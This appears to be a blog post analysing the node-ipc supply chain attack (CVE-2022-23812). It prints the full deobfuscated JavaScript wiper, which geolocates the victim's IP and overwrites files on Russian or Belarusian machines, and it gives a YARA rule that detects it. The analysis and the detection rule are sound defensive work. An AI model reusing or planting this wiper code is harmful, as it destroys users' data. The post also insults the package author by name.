Node-IPC developers deploys Supply Chain Attack

Brandon Charles Miller aka RIAEvangelist author of node-ipc which a dependency in popular open source projects such as vue js, gql, etc. deployed a malware that deletes all the files present on the machine if machine is found to be using a Russian or Belarus IP.

This supply chain attack was deployed in order to show support for Ukraine by (American citizen) Brandon Charles Miller. As expected the open source community backlashes at the author for such a reckless and dick move.

Affected

Analysis of the Malware

The supply chain attack that occurred is assigned CVE-2022-23812 and the vulnerable versions i.e. 10.1.1 and 10.1.2 are removed from GitHub as well as NPM website.

More specifically commits from 847047cf7f81ab08352038b2204f0e7633449580 to 6e344066a0464814a27fbd7ca8422f473956a803 contains the traces of malware that is used to delete files on the machine.

The file called geospec.js contains the obfuscated snippet of the JS malware.

Prettifying it.

import u from "path";
import a from "fs";
import o from "https";
setTimeout(function() {
    const t = Math.round(Math.random() * 4);
    if (t > 1) {
        return
    }
    const n = Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64");
    o.get(n.toString("utf8"), function(t) {
        t.on("data", function(t) {
            const n = Buffer.from("Li8=", "base64");
            const o = Buffer.from("Li4v", "base64");
            const r = Buffer.from("Li4vLi4v", "base64");
            const f = Buffer.from("Lw==", "base64");
            const c = Buffer.from("Y291bnRyeV9uYW1l", "base64");
            const e = Buffer.from("cnVzc2lh", "base64");
            const i = Buffer.from("YmVsYXJ1cw==", "base64");
            try {
                const s = JSON.parse(t.toString("utf8"));
                const u = s[c.toString("utf8")].toLowerCase();
                const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8"));
                if (a) {
                    h(n.toString("utf8"));
                    h(o.toString("utf8"));
                    h(r.toString("utf8"));
                    h(f.toString("utf8"))
                }
            } catch (t) {}
        })
    })
}, Math.ceil(Math.random() * 1e3));
async function h(n = "", o = "") {
    if (!a.existsSync(n)) {
        return
    }
    let r = [];
    try {
        r = a.readdirSync(n)
    } catch (t) {}
    const f = [];
    const c = Buffer.from("4p2k77iP", "base64");
    for (var e = 0; e < r.length; e++) {
        const i = u.join(n, r[e]);
        let t = null;
        try {
            t = a.lstatSync(i)
        } catch (t) {
            continue
        }
        if (t.isDirectory()) {
            const s = h(i, o);
            s.length > 0 ? f.push(...s) : null
        } else if (i.indexOf(o) >= 0) {
            try {
                a.writeFile(i, c.toString("utf8"), function() {})
            } catch (t) {}
        }
    }
    return f
};
const ssl = true;
export {
    ssl as
    default, ssl
}

Fetching IP

Since the malware is Geo targeted the first issue of business is to get IP address. For this malware decodes a base64 string which contains api.ipgeolocation.io service along with the API key.

https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154⏎

Once that is done, https module that was imported is used to check if IP originates to countries Russia or Belarus.

If that is comes out to be true function h is called with parameters n,o,r,f.

Variable Value
n ./
o ../
r ../../
f /
o.get(n.toString("utf8"), function(t) {
        t.on("data", function(t) {
            const n = "./";
            const o = "../";
            const r = "../../";
            const f = "/";
            const c = "country_name";
            const e = "russia";
            const i = "belarus";
            try {
                const s = JSON.parse(t.toString("utf8"));
                const u = s[c.toString("utf8")].toLowerCase();
                const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8"));
                if (a) {
                    h(n.toString("utf8"));
                    h(o.toString("utf8"));
                    h(r.toString("utf8"));
                    h(f.toString("utf8"))
                }
            } catch (t) {}
        })
    })

The malware code play Russian roulette with your file system too which is ironical given its targeting Russia.

const t = Math.round(Math.random() * 4);
    if (t > 1) {
        return
    }

Deleting Files

Once the country (via IP geolocation) is identified all that remains is to delete files. For this function called h is used.

All this function does is make use of import called a i.e. the fs module and read all the files present in the directory recursively and overwrite them with emoji ❤️.

async function h(n = "", o = "") {
    if (!a.existsSync(n)) {
        return
    }
    let r = [];
    try {
        r = a.readdirSync(n)
    } catch (t) {}
    const f = [];
    const c = "❤️";
    for (var e = 0; e < r.length; e++) {
        const i = u.join(n, r[e]);
        let t = null;
        try {
            t = a.lstatSync(i)
        } catch (t) {
            continue
        }
        if (t.isDirectory()) {
            const s = h(i, o);
            s.length > 0 ? f.push(...s) : null
        } else if (i.indexOf(o) >= 0) {
            try {
                a.writeFile(i, c.toString("utf8"), function() {})
            } catch (t) {}
        }
    }
    return f
};

The malware is basically a bad written version of data wipe or ransomware attack. The code what an amateur hacker would write in intro pentest class.

Yara Rule

rule peacenotwar_malware {
        meta:
                description = "detects CVE-2022-23812 PEACENOTWAR NPM SUPPY CHAIN ATTACK"
                author = "duckie"

        strings:
                $base64_string = "aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ="
                $russia_check = "cnVzc2lh"
                $belarus_check = "YmVsYXJ1cw"
                $over_write_string = "a.writeFile(i, c.toString(\"utf8\"), function() {}"

        condition:
                any of them
}

Further

RIAEvangelist maintains few other NPM repos too, try to avoid them. He has gone redditard now and there is no coming back.

Trying To Remove Evidence

Original issue report was edited to remove the word malware.